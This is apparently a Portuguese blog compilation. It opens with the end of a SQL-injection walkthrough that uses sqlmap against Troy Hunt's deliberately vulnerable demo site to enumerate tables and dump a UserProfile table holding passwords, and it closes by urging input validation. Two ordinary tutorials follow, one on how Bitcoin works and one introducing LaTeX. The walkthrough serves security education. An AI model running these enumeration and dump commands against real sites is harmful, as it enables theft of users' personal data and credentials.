[08:30:21] [INFO] retrieved: dbo.UserProfile
[08:30:21] [INFO] retrieved: dbo.Vote
[08:30:22] [INFO] retrieved: dbo.webpages_Membership
[08:30:22] [INFO] retrieved: dbo.webpages_OAuthMembership
[08:30:23] [INFO] retrieved: dbo.webpages_Roles
[08:30:23] [INFO] retrieved: dbo.webpages_UsersInRoles
[08:30:24] [INFO] retrieved: sys.database_firewall_rules
[08:30:24] [INFO] retrieved: sys.script_deployment_status
[08:30:25] [INFO] retrieved: sys.script_deployments
Database: hackyourselffirst_db
[11 tables]
+------------------------------+
| Make                         |
| Supercar                     |
| UserProfile                  |
| Vote                         |
| webpages_Membership          |
| webpages_OAuthMembership     |
| webpages_Roles               |
| webpages_UsersInRoles        |
| sys.database_firewall_rules  |
| sys.script_deployment_status |
| sys.script_deployments       |
+------------------------------+

Vamos selecionar uma tabela com informações sensitivas, que costumam ser as mais vulneráveis para as empresas porque contém informações de clientes. A tabela UserProfile parece ser promissora!

./sqlmap.py --url "http://hackyourselffirst.troyhunt.com/Make/1?orderby=supercarid" -D hackyourselffirst_db -T UserProfile --columns

E, como esperado, essa tabela contém informações relevantes dos usuários:

[08:33:21] [INFO] retrieved: Email
[08:33:21] [INFO] retrieved: nvarchar
[08:33:22] [INFO] retrieved: FirstName
[08:33:23] [INFO] retrieved: nvarchar
[08:33:23] [INFO] retrieved: IsAdmin
[08:33:24] [INFO] retrieved: bit
[08:33:24] [INFO] retrieved: LastName
[08:33:25] [INFO] retrieved: nvarchar
[08:33:26] [INFO] retrieved: Password
[08:33:26] [INFO] retrieved: nvarchar
[08:33:27] [INFO] retrieved: UserId
[08:33:27] [INFO] retrieved: int
Database: hackyourselffirst_db
Table: UserProfile
[6 columns]
+-----------+----------+
| Column    | Type     |
+-----------+----------+
| Email     | nvarchar |
| FirstName | nvarchar |
| IsAdmin   | bit      |
| LastName  | nvarchar |
| Password  | nvarchar |
| UserId    | int      |
+-----------+----------+

Por fim, vamos fazer um dump de toda a tabela de usuários (porque não?):

./sqlmap.py --url "http://hackyourselffirst.troyhunt.com/Make/1?orderby=supercarid" -D hackyourselffirst_db -T UserProfile --dump 

E toda a tabela agora é nossa:

Agora imagine o que isso implicaria para um site que lida com informações como números de cartões. Em cinco minutos, todos os dados de todos os usuários poderiam ser obtidos por alguém copiando e colando comandos na tela do computador. Por isso é tão importante que as empresas tenham o cuidado de manter seus websites sempre seguros. O principal problema aqui é que, caso o administrados não mantivesse ou não prestassem atenção nos logs do seu serviço, ele provavelmente nem saberia que todos os seus dados foram roubados.

Então lembrem-se. Sempre validem os dados dos usuários!

O Universo Bitcoin

2017-04-23T00:00:00+00:00

Esse artigo tem o intuito de explicar o funcionamento das criptomoedas, em especial a mais famosa delas: o Bitcoin.

Introdução
Funções Hash
Conceito de Transação
Bloco
Blockchain (Cadeia de Blocos)
Anonimato
Dogecoin
Conclusões

Introdução

A primeira ideia de criptomoeda descentralizada surgiu em 2008 em um pequeno artigo de Satoshi Nakamoto intitulado “Bitcoin: A peer-to-peer electronic cash system”. Embora ninguém realmente saiba a identidade verdadeira de Nakamoto, seu artigo de apenas 9 páginas revolucionou o mundo das moedas digitais.

A ideia geral das criptomoedas é bem simples: manter todas as transações e carteiras seguras através de criptografia, fazendo com que só você tenha acesso à sua carteira e só você posso gastar suas criptomoedas. Em palavras mais simples, o sistema não é baseado em confiança, e sim em prova criptográfica.

Em palavras ainda mais simples: ao realizar um pagamento, há uma relação de confiança. Geralmente, se confia no banco utilizado como terceiro elemento para intermediar o pagamento. Nesse caso, o banco é responsável por ficar com seu dinheiro e mover de conta em conta. É necessário que ambas as partes confiem em uma terceira entidade, como um banco, para que ambos tenham a certeza que seu dinheiro chegará em segurança.

Mas isso mudou em 31 de outubro de 2008, com a introdução de um sistema capaz de, através de criptografia, permitir transações sem a necessidade de terceiros. E esse é um serviço comunitário, e que pode ser verificado por qualquer: para que uma transação seja aceita, ela tem que ser adicionada à algum bloco, e é aí que entram os mineradores de Bitcoin, trabalhando para manter os blocos consistentes.

Para primeiro entender como isso é feito, deve-se entender o que é uma função hash.

Funções Hash

A função hash, em poucas palavras, é uma função matemática não reversível que gera uma saída de tamanho fixo para uma determinada entrada.

Um exemplo bem simples de função hash que transforma um número decimal em um outro de tamanho unitário é somar todos os algarismos e calcular o resto da divisão por 10. Nesse contexto, aplicar a nossa função hash no número 403 gera 7, pois é 4 + 0 + 3 = 7, e o resto dessa divisão por 10 é 7. Se aplicado a 5454, a função hash é 8, pois 5 + 4 + 5 + 4 = 18, e o resto da divisão por 10 é 8. Note que essa função não é reversível: não existe meio de se obter o número original através do valor hash, pois parte da informação é perdida no processo.

Uma função hash tem diversos usos, mas geralmente algumas propriedades são esperadas, como:

Determinismo, onde um valor sempre gera a mesma hash.
Distribuição uniforme, de forma que o resultado seja pseudo-aleatório e com iguais probabilidades para qualquer resultado.
Rápida de ser gerada, mas não tão rápida que possa ser computada aos milhares facilmente.
Irreversível, sendo impraticável computacionalmente de achar a entrada original a partir da hash.
Não-colisão, sendo impraticável achar duas entradas com a mesma hash.
Uma pequena mudança no valor de entrada causa uma grande mudança no valor da hash.

Abaixo há uma caixa de texto que computa um algoritmo de hash famoso, o SHA256, utilizado como algoritmo da Bitcoin.

SHA256

Vamos analisar rapidamente a função hash SHA256. As colisões são no mínimo improváveis. Como a saída possui sempre 256 bits, as possibilidades são 2²⁵⁶, que é aproximadamente 10⁷⁷ ou 1 seguido de 77 zeros. Isso quer dizer que pode-se atribuir uma hash distinta para cada conjunto de 1000 átomos no universo.

Existe um segundo uso muito especial para funções hash: a ofuscação de senhas. Supondo que você queira guardar as senhas dos seus usuários sem realmente saber as senhas deles. Isso é possível? Sim. Basta armazenar a hash das senhas individuais. Ao receber a senha que o usuário digitou, basta tirar a hash dela e comparar com a que você possui armazenada. Se as duas coincidirem, já que a probabilidade de colisão é zero para senhas, então a senha inserida está correta.

Outra utilização é fazer a verificação da integridade de arquivos. Já que a hash é praticamente única, para ter certeza que alguém recebeu o arquivo exato que você enviou, basta pedir que ele tire a hash e compare com a quem você tem do seu arquivo. É implausível que alguém consiga modificar o arquivo antes do fim do universo de tal forma que a hash continue a mesma. Note que é só uma questão de tempo até que funções hash sejam quebradas: o MD5 foi quebrado a algum tempo e não deve ser mais usado, enquanto que o antecessor do SHA256, SHA1, com 160 bits, foi quebrado com um projeto interessantíssimo em parceria com a Google. Até os dias atuais, a SHA256 continua sendo uma função hash segura.

Como a hash é pseudo-aleatória, é necessário gerar uma quantidade exorbitante de hashes por segundo para se achar uma hash com propriedades desejadas. Já vimos que é virtualmente impossível achar uma hash específica, mas e um conjunto de hashes? Tente por exemplo achar uma hash que inicie com o número 1 na forma hexadecimal (digite na caixa de texto acima). Não são necessárias muitas tentativas para achar o número 9, ou também a letra d.

Agora tente achar algo que gere uma hash iniciando em 0. Vou te poupar do trabalho: o número é 39. Quer um desafio ainda mais difícil? Tente achar uma hash que inicie em 5 zeros. Esse é ainda mais complicado: 596138. Com 7 zeros? Não é preciso ir muito mais longe, 665782 já resolve o problema, mas além dele, o próximo que inicia com 7 zeros é apenas 81308074! Embora seja fácil encontrar hashes com pequenos número de zeros usando apenas um processador e um script em Python, a dificuldade aumenta imensamente conforme a ‘‘raridade’’ da descoberta aumenta. Embora tenha sido relativamente fácil encontrar todos os números anteriores, o número 426479724, que inicia com 8 zeros, exigiu cerca de 30 minutos ou duas xícaras de café (de fato é o único com 8 zeros menor que 1 bilhão).

Esse conceito de tempo de processamento é importante para as criptomoedas e é chamado de Prova de Trabalho ou Proof-of-Work. Em suma, você tem que provar que realmente trabalhou para criar valor, ou minerar uma Bitcoin.

Conceito de Transação

Uma transação nada mais é do que uma prova de que o dinheiro foi enviado de uma pessoa para outra. Suponha que o usuário Alpha queira enviar uma quantia para o usuário Beta. A imagem a seguir representa um envio desse tipo retirado de um bloco aleatório. Note que o usuário Alpha, além de enviar uma quantia para Beta, envia uma quantidade para seu próprio endereço de Bitcoin. Isso ocorre porque cada transação deve equivaler à quantidade de Bitcoins na carteira de quem está enviando. O que sobrar na carteira que não for enviado para nenhuma outra carteira é utilizado como taxa de transação e é enviado para quem minerar o bloco.

No entanto, cada transação precisa ser assinada para ser válida. Isso é feito utilizando-se de criptografia e chaves públicas e privadas. Ao criar uma transação, o usuário a assina com sua chave privada (que só ele sabe, a chave que representa sua carteira) e envia também sua chave pública (que não pode ser usada para obter a chave privada).

Uma propriedade matemática dessas chaves é que somente a chave privada pode assinar mensagens, e a chave pública pode ser utilizada para verificar a autenticidade, se quem enviou a transação realmente possui a chave privada, e também verificar integridade, se essa transação não foi alterada no caminho. É extremamente implausível computacionalmente para a tecnologia atual atacar por força bruta as chaves, portanto, nem mesmo o dono das Bitcoins pode resgatá-las caso a chave privada seja perdida.

Note que as transações são anunciadas publicamente para todos os nodos, ficando disponível em chamados ledgers, de forma que qualquer um pode ter registro das transações que vão sendo feitas. Mas para realmente consolidar as transações, elas são reunidas em blocos pelos mineradores de Bitcoin para que tenham validade. Uma transação só é válida após ser adicionada em um bloco.

Bloco

O bloco nada mais é do que uma lista de transações. O bloco é composto de 6 campos, que são explicados a seguir:

Versão: versão do bloco.
Hash do bloco anterior: SHA256 do bloco anterior.
Hash das transações: SHA256 da raiz da árvore de Merkle de todas as transações. Essa é uma hash combinada de todas as transações para o bloco possuir tamanho fixo. Assim, o esforço computacional para minerar um bloco com 1 ou 1000 transações é o mesmo.
Tempo: convenção de tempo como segundos transcorridos desde 1970-01-01T00:00 UTC.
Target: número de 256 bits (assim como a hash) que define a dificuldade do bloco ao ser minerado.
Nonce: número de 32 bits que pode ser variado livremente.

Um exemplo de um bloco real pode ser visto abaixo. Note a quantidade de zeros da hash do bloco.

Blockchain (Cadeia de Blocos)

Como pode ser visto na definição de bloco, cada bloco possui a hash do bloco anterior. Isso significa que todos os blocos, à partir do primeiro, estão “ligados” ao bloco anterior, em uma cadeia única. No momento em que um bloco novo é criado, ele é adicionado no blockchain e o próximo bloco já pode ser minerado. O minerador então recebe a recompensa por minerar o bloco mais a soma de todas as taxas de transações.

O objetivo da Bitcoin é ter um bloco minerado a cada 10 minutos. Com o aumento do número de mineradores, também cai o tempo necessário para mineração. Para corrigir esse problema, a cada 2016 blocos, ou aproximadamente 2 semanas, a dificuldade é alterada e enviada na variável target.

Para minerar, basta utilizar o algoritmo SHA256(SHA256(bloco)) e comparar se o resultado é menor que o target. Se for, você minerou com sucesso e pode receber suas Bitcoins. Caso contrário, você deve incrementar o Nonce e tentar novamente. O processo de minerar consiste em tentar várias combinações de transações e Nonce até achar uma configuração com o número de zeros correto (hash menor que o target). Embora pareça simples, note que cada 0 adicionado aumenta exponencialmente o trabalho necessário. Você pode comprovar isso tentando achar qualquer valor que gere uma hash que inicie com 10 zeros!

Os blocos são minerados por um único motivo: manter a blockchain consistente e registrar as transações. Uma vez que uma transação é adicionada em um bloco, ela está confirmada, e cada novo bloco que é gerado à sua frente resulta em mais uma confirmação. Como todos os nodos na rede podem ter sua própria cópia do blockchain, todos podem verificar que as transações e as hashes são válidas. O blockchain nada mais é do que um banco de dados de transações.

Dificuldade com o tempo

A próxima figura mostra como a dificuldade dos blocos cresceu com o tempo. Note que a dificuldade também é medida em PHash/s, ou Peta Hashes por segundo (1P = 10¹⁵), uma produção combinada exorbitante de hashes!

Proteção contra fraude

A escolha de uma cadeia de blocos não é à toa: supondo que alguém queira gastar a mesma quantia de Bitcoins duas vezes. Para isso, ele pode tentar alterar o bloco em que sua transação foi registrada para retirá-la do bloco. Isso implica em recalcular esse bloco e todos os posteriores até o bloco honesto atual, já que a cadeia válida é sempre a mais longa. Nesse processo, ele terá que superar todo o poder computacional combinado de todos os outros mineradores, que é inviável.

As transações, mesmo sendo completamente públicas, estão seguras pois a menor alteração no bloco implica em uma solução completamente diferente para o Nonce, que implica em resolver o problema computacional praticamente impossível de superar todos os outros mineradores juntos.

No entanto, como já dito, as transações só são válidas quando adicionadas à algum bloco. Isso quer dizer que pessoas vão tentar se aproveitar desse artifício para poder gastarem duas vezes a mesma quantidade de Bitcoin. Supondo que A tenha uma quantidade Y de Bitcoins em sua carteira. Então, A decide fazer um pagamento de Y para B e outro pagamento de Y para C. Fica claro que uma das transações não será completada, pois só uma das duas transações poderá ser confirmada, sendo a segunda descartada pelos mineradores. Se ele comprou de B e C, um dos dois não receberá o pagamento. Por isso, é necessário esperar uma quantidade mínima de confirmações para ela ser considerada segura. Para comprar um café, talvez nenhuma confirmação seja necessária, para comprar em uma loja online, talvez um número de 6 confirmações seja suficiente, mas para comprar um carro, um número de 100 confirmações pode ser requerido pelo vendedor. Embora seja uma definição arbitrária, é comum considerar 6 blocos como mais do que suficiente para comprovar um pagamento.

Porque minerar?

Mas você deve estar se perguntando: porque alguém gastaria tempo e processamento para tentar minerar um bloco? A resposta é simples: todo bloco possui uma recompensa!

A recompensa é inicialmente 50 BTC e é cortada ao meio a cada 210,000 blocos, ou aproximadamente 4 anos. O número máximo de Bitcoins que serão produzidas será de 21,000,000 BTC, portanto, a recompensa passará de 6,25 BTC diretamente para 0 BTC.

Quando a recompensa for zero, nenhuma nova Bitcoin poderá ser criada, mas os blocos continuarão a ser gerados, porque as transações continuarão acontecendo. Acredita-se que, com o aumento do número de transações, a recompensa virá através das taxas de transação, que são valores pequenos que os usuários “doam” para os mineradores para que suas transações tenham preferência ao serem adicionadas aos blocos. O minerador, ao minerar uma grande quantidade de transações por vez, garante que receberá uma quantia maior por taxas, que serve como estímulo para continuar a mineração.

Anonimato

Embora a Bitcoin tenha a capacidade de ser extremamente anônima, por vários motivos ela não é. Como todas as transações são públicas, pessoas podem juntar informações suficientes suas seguindo o rastro das moedas: basta saber onde um dos pagamentos foi parar e seguir as transações de volta até chegar na sua carteira, especialmente se você divulgou seus endereços de recebimento.

Isso não significa que esses problemas não podem ser diminuídos. Um dos métodos é utilizar um serviço de mixing, conhecido como eWallet, onde centenas de usuários enviam fundos para uma carteira, que reenvia os fundos (em quantidades diferentes dos recebidos ou em várias porções) para a carteira final. Nesse esquema, não há como identificar quais moedas foram para quem. Supondo que 10 usuários enviem 1 BTC cada para a carteira, que redistribua para outros 10 usuários. Não há como saber quem enviou quanto para quem. Para reforçar o anonimato, pode-se usar uma cadeia de mais de um eWallet, fazendo o rastreamento extremamente difícil.

E antes que você pense que anonimato não é importante, imagine que algum atacante consiga a informação de quanto dinheiro você guarda debaixo do seu colchão digital, e queira se apoderar das suas chaves privadas. Ele poderia rastrear os pagamentos que você fez e utilizá-los para conseguir dados pessoais sensíveis, mesmo partindo somente das suas chaves públicas.

Dogecoin

Após a criação da Bitcoin, inúmeras outras criptomoedas foram propostas e implementadas. Você mesmo pode criar sua própria moeda (embora talvez a parte difícil seja fazer as pessoas acharem que ela tem algum valor), já que os códigos dessas moedas são abertos.

Uma dessas moedas que chama atenção é a Dogecoin, criada em 6 de dezembro de 2013. Embora ela seja baseada em um meme, essa moeda possui uma proposta interessante de implementação.

Em primeiro lugar, ela foi desenhada para ser uma moeda de rápida confirmação: 1 minuto por bloco, em comparação com os 10 minutos da Bitcoin ou 2.5 minutos da Litecoin. A recompensa por bloco variou entre aleatória (Vai entender?) nas primeiras iterações, foi fixada em alguns valores e hoje é fixa em 10,000. Esse valor deve ser mantido para sempre, que difere da Bitcoin, que é limitada.

A Dogecoin também usa o algoritmo de proof-of-work scrypt. Contrário ao SHA256, esse algoritmo visa reduzir a eficiência de circuitos especializados como FPGAs e ASICs, que são capazes de calcular uma quantidade tremenda de hashes por segundo. Para tal, o scrypt possui uma sequência de cálculos a serem realizados que dependem dos cálculos anteriores. Para calcular a hash, é necessário uso intenso de CPU e memória, que em teoria deveria dificultar a monopolização da moeda por hardware especializado. Nesse caso há uma troca entre memória e CPU: quando o consumo de memória aumenta, o consumo de CPU deveria diminuir e vice-versa.

Há várias críticas à Dogecoin. Uma delas é que esse modelo de limitar a mineração aos usuários com seus computadores comuns falhou miseravelmente. O mercado foi rapidamente dominado pelo uso de GPUs (por serem mais rápidas que as CPUs embora não devessem ser), FPGAs e ASICs, justamente o que se queria evitar.

Outra crítica é que o scrypt não foi tão testado e utilizado quanto o SHA256, e pode ser suscetível à ataques ainda não conhecidos no futuro.

Conclusões

Esse pequeno artigo mostrou uma visão geral de como funcionam as criptomoedas, em especial a Bitcoin. Elas apresentam uma alternativa viável para serem utilizadas por serem seguras e eficientes, além de totalmente digitais.

Vale lembrar que, embora muitos serviços já aceitem Bitcoin, ela ainda não é reconhecida como uma moeda real em diversos países, e talvez não seja uma boa ideia investir suas economias em Bitcoins. Mas é certo de que seus conceitos e seu modelo descentralizado mudaram o modo como o mundo pensa sobre dinheiro.

Introdução ao LaTeX

2016-11-10T00:00:00+00:00

Esse é um documento de introdução ao LaTeX. Para ver um exemplo de documento clique aqui.

Instalando o LaTeX
- Windows
- Linux
Primeiro Documento
Escrevendo Equações
Títulos, Subtítulos e Referências Cruzadas
Sumário
Inserindo Imagens
Formatação
Tabelas
Exemplo
Considerações Finais

O LaTeX (pronunciado ‘‘Lah-tek’’) é uma ferramenta de preparação de textos de alta qualidade usado normalmente na publicação de trabalhos técnicos e científicos. O objetivo do LaTeX não é ser uma ferramenta de processamento de textos gráfica, mas sim uma linguagem onde o usuário se foca apenas em escrever, e deixa o programa lidar com os estilos dos títulos, subtítulos, referências, etc.

Pontos Positivos:

Altamente Customizável.

Produz documentos de alta qualidade.

Melhor controle sobre grandes documentos, como bibliografia, citação de imagens e equações, etc.

Amplo suporte para equações e formulação matemática.

Boa documentação em fóruns como StackExchange.

Pontos Negativos:

Curva íngreme de aprendizado nos estágios iniciais.

Códigos de estilo são mais complicados.

A digitação tende a ser mais intuitiva do que visual.

Instalando o LaTeX

Windows

O requisito mínimo para se rodar LaTeX é um compilador, que converterá o código em um documento PDF ou DVI. No Windows, utiliza-se o MiKTeX. Para um pequeno tutorial de como instalar o MiKTeX e um editor de texto clique aqui.

Linux

Se seu sistema operacional for Linux, você vai precisar dos pacotes texlive. A melhor opção é instalar diretamente o pacote texlive-full que irá instalar diretamente todos os pacotes disponíveis (lista de pacotes para o Ubuntu). Para Debian e derivados, basta rodar o comando apt-get install texlive-full.

Primeiro Documento

Um documento básico em LaTeX vai parecer algo do tipo:

% Início do documento
\documentclass[11pt]{article}

\begin{document}
Olá mundo.
\end{document}

Essas linhas de código iniciam um documento do tipo artigo com fonte de tamanho 11 pt e imprimem ‘‘Olá mundo.’’ na página. Todo o conteúdo dentro as linhas do \begin{document e o \end{document} aparecerá no documento, com exceção dos comentários marcados com um sinal de porcentagem (%).

As linhas antes do \begin{document} fazem parte do preâmbulo. Ele é geralmente utilizado para importar pacotes ou definir comandos.

No entanto, surgem alguns problemas com esse código, já que não permite o uso de acentos da Língua Portuguesa. Para isso serão utilizados mais três pacotes, o pacote Babel que cuida das especificidades e regras de determinada linguagem, o pacote Inputenc que cuida da codificação de entrada, como os acentos, e o pacote Fontenc da codificação de saída.

\usepackage[brazilian]{babel} % Idioma Português-Brasil
\usepackage[utf8]{inputenc}   % Codificação de Entrada
\usepackage[T1]{fontenc}      % Codificação de Saída

Por último, adiciona-se os pacotes normalmente utilizados, como o Fullpage, que altera automaticamente o tamanho das bordas para dar mais espaço ao texto, Indentfirst, que cria um novo parágrafo a cada nova linha e o pacote Graphicx que permite adicionar imagens.

\usepackage{fullpage}      % Melhor uso da página
\usepackage{indentfirst}   % Autoidentar
\usepackage{graphicx}      % Importar figuras

O documento básico resultante deve ser da seguinte forma:

%Início do documento
\documentclass[11pt]{article}

\usepackage[brazilian]{babel} % Idioma Português-Brasil
\usepackage[utf8]{inputenc}   % Codificação de Entrada
\usepackage[T1]{fontenc}      % Codificação de Saída

\usepackage{fullpage}         % Melhor uso da página
\usepackage{indentfirst}      % Autoidentar
\usepackage{graphicx}         % Importar figuras

\begin{document}
Olá mundo.
\end{document}

Escrevendo Equações

Uma das partes fundamentais do LaTeX é a inserção de equações. Para isso, utiliza-se o ambiente Mathmode, normalmente colocando o texto matemático entre dois cifrões ($), onde pode-se escrever equações livremente utilizando a notação habitual. Desse modo, as equações serão inseridas sem interromper o fluxo de texto.

Alternativamente, se você quiser que a equação tenha sua linha própria, como em equações longas, pode-se utilizar dois cifrões $$ de cada lado ou usar o comando \begin{equation}, que também numerará as equações. É interessante que o LaTeX numera todas as equações, figuras e tabelas automaticamente. Não é necessário se preocupar se uma figura vem antes da outra, já que a numeração é feita pelo compilador.

A seguir há alguns exemplos de uso.

E = m c^2

\[E = mc^2\]

E_r = \sqrt{ (m c^2)^2 + (pc)^2

\[E_r = \sqrt{ (m c^2)^2 + (pc)^2 }\]

x = \frac{-b \pm \sqrt{b^2 - 4ac}}{2a}

\[x = \frac{-b \pm \sqrt{b^2 - 4ac}}{2a}\]

\int^{+\infty}_{-\infty} e^{x^2} dx = \sqrt{\pi}

\[\int^{+\infty}_{-\infty} e^{x^2} dx = \sqrt{\pi}\]

\sum_{n=1}^\infty \frac{1}{n^2} = \lim_{n \to \infty} \left( \frac{1}{1^2} + \frac{1}{2^2} + \cdots + \frac{1}{n^2} \right) = \frac{\pi^2}{6}

\[\sum_{n=1}^\infty \frac{1}{n^2} = \lim_{n \to \infty}\left(\frac{1}{1^2} + \frac{1}{2^2} + \cdots + \frac{1}{n^2} \right) = \frac{\pi^2}{6}\]

Nota: Os símbolos especiais utilizados utilizam comandos precedidos com um barra (\— exemplo \pi para o número Pi). Para uma lista de símbolos e usos mais completa consulte este artigo da Wikibooks.

Títulos, Subtítulos e Referências Cruzadas

Uma das vantagens do LaTeX é a facilidade com a criação de seções, subseções e subsubseções. Para isso basta chamar o comando equivalente:

\section{Seção 1}
\subsection{Subseção 1}
\subsubsection{Subsubseção 1}

Que irá produzir:

O resultado é numerado automaticamente. Além disso, cada vez que um comando com numeração é chamado (Seção, Subseção, Figura, etc), você pode colocar um label (ou rótulo) que identifica o elemento e pode ser chamado no texto. Portanto, se você quiser referenciar determinada Seção ou Figura, não precisa se preocupar com a numeração em que eles aparecem, basta chamar o rótulo que você criou.

Para isso, utiliza-se o comando \label{nome} logo após criar a numeração. Para chamar a referência, basta usar o comando \ref{nome}. É interessante, mas não obrigatório, utilizar um prefixo nos nomes para identificar o que você está referenciando, como sec para seções ou fig para figuras. Por exemplo:

\section{Introdução} \label{sec:introducao}

Esta é a introdução. A Seção \ref{sec:desenvolvimento} tratará do desenvolvimento.

\section{Desenvolvimento} \label{sec:desenvolvimento}

Esse é o desenvolvimento, como descrito na Seção \ref{sec:introducao}.

Irá produzir:

Nota: são necessárias duas compilações para o resultado desejado, pois na primeira todos os labels são processados e na segunda vez todas as referências.

Sumário

A geração do sumário é simplificada utilizando o LaTeX. Para isso, basta utilizar o comando \tableofcontents. Para deixar o sumário em sua página própria, basta usar \newpage:

\newpage
\tableofcontents
\newpage

Inserindo Imagens

Imagens Simples

Inserir imagens no LaTeX pode parecer uma tarefa árdua a princípio, já que elas são incluídas no código. Para isso, basta usar o comando \includegraphics. É recomendado usar um ambiente figure para isso. A seguir, há um exemplo de inserção de imagem.

\begin{figure}[!h]
\centering
\includegraphics[width=0.5\textwidth]{imagem.png}
\caption{Legenda da Imagem} \label{fig:imagem}
\end{figure}

Esse exemplo insere uma imagem.png centralizada com metade do tamanho do texto. De fato, a extensão .png pode ser suprimida. O pdflatex aceita nativamente os formatos JPG, PNG, PDF e EPS.

Usar a variável \textwidth para dimensionamento das imagens é interessante pois a imagem sempre respeitará as bordas de texto (incluindo texto escrito em duas colunas). Pode-se passar como parâmetro tamanhos como width=1cm ou width=2in para medidas exatas.

Você deve ter notado o parâmetro [!h] no ambiente figure. Isso indica ao LaTeX para tentar inserir a figura no local onde ela é chamada no texto. Caso isso não seja possível, o compilador irá deslocar a imagem para um local apropriado para não interromper o fluxo do texto. Outros parâmetros que podem ser utilizados são b (bottom), t (top). O caractere !indica que algumas restrições de posicionamento podem ser ignoradas (como em [!htb], que posiciona a imagem em qualquer lugar).

Imagens Lado a Lado

Para adiciona imagens lado a lado, basta criar duas minipages e colocar uma imagem em cada. Para tal, pode-se usar a sequência de comandos:

\begin{figure}[!h]
  \centering
  \begin{minipage}[b]{0.45\textwidth}
    \includegraphics[width=\textwidth]{imagem1}
    \caption{Primeira Imagem.}
  \end{minipage}
  \hfill
  \begin{minipage}[b]{0.45\textwidth}
    \includegraphics[width=\textwidth]{imagem2}
    \caption{Segunda Imagem.}
  \end{minipage}
\end{figure}

Organizando uma pasta de imagens

Para adicionar imagens no texto, o arquivo deve estar localizado na pasta raiz do projeto (na mesma pasta do documento). No entanto, é mais útil e organizado criar uma pasta separada somente para imagens. Para adicionar a pasta figuras nas pastas onde o LaTeX procurará por imagens, basta usar o seguinte comando no preâmbulo.

\graphicspath{{./figuras/}}

Formatação

Para formação do texto, pode-se usar funções como negrito, itálico e outros efeitos.

Comando	Resultado
`\textbf{Texto Exemplo}`	Texto Exemplo
`\textit{Texto Exemplo}`	Texto Exemplo
`\underline{Texto Exemplo}`	Texto Exemplo

Nota: Para mais estilos de fonte e tamanhos diferentes, cheque esse tutorial no ShareLaTeX.

Tabelas

As tabelas em LaTeX também podem ser geradas por código. Para tal, basta iniciar um tabular. As quebras de linhas são indicadas com o comando \\. Para melhorar os traços horizontais na tabela, utiliza-se o pacote Booktabs (\toprule, \midrule e \bottomrule irão traçar retas horizontais).

\usepackage{booktabs}

Para criar uma tabela de três colunas, basta usar o seguinte código.

\begin{table}[!h]
\renewcommand{\arraystretch}{1.3} % Ajusta espaçamento
\centering
\begin{tabular}{c|c|c}  % 3 Elementos Centralizados
% Utilize as 'rules' para traços na tabela
\toprule
Potência &      n      & $\pi(n)$ \\ \midrule
1  &    10             &  4       \\
2  &	100 	       &  25 	  \\
3  &	1,000          &  168 	  \\
4  &	10,000         &  1,229   \\
5  &	100,000        &  9,592   \\
\toprule \bottomrule
\end{tabular}
\caption{Distribuição de Primos $\pi(x)$} 
\label{tab:tabela}
\end{table}

Irá produzir:

Exemplo

Nesse exemplo será construído um documento simples multiuso para trabalhos simples em LaTeX com os conteúdos abordados nesse documento.

\documentclass[11pt]{article}

% Fonte em português brasileiro
\usepackage[brazilian]{babel}
\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}
\usepackage{lmodern}

% Identação e Margens
\usepackage{fullpage}      % Margens
\usepackage{indentfirst}   % Autoidentar

% Figuras
\usepackage{graphicx}       % Pictures
\graphicspath{{./figuras/}} % Path

\begin{document}
% Cabeçalho simples
\noindent Aluno 1 \hfill Matrícula 1
\noindent Aluno 2 \hfill Matrícula 2

\noindent \textbf{Relatório 1: }
\noindent \rule{\linewidth}{1.5pt}

% Início do texto
\section{Introdução}

Esta é uma introdução.

\section{Conclusão}

Esta é uma conclusão.

\end{document}

Considerações Finais

Em primeiro lugar, não se assuste. O LaTeX pode parecer complicado à primeira vista por ter um paradigma muito diferente dos produtores de texto usuais. Tenha em mente que uma vez que o conhecimento básico foi dominado, será mais fácil e rápido fazer documentos em LaTeX pela despreocupação com os estilos de títulos e parágrafos, e principalmente ao digitar equações.

Para saber mais, consulte mais códigos de exemplo disponibilizados na minha página do Github, exemplos do Overleaf e o bom e velho Google.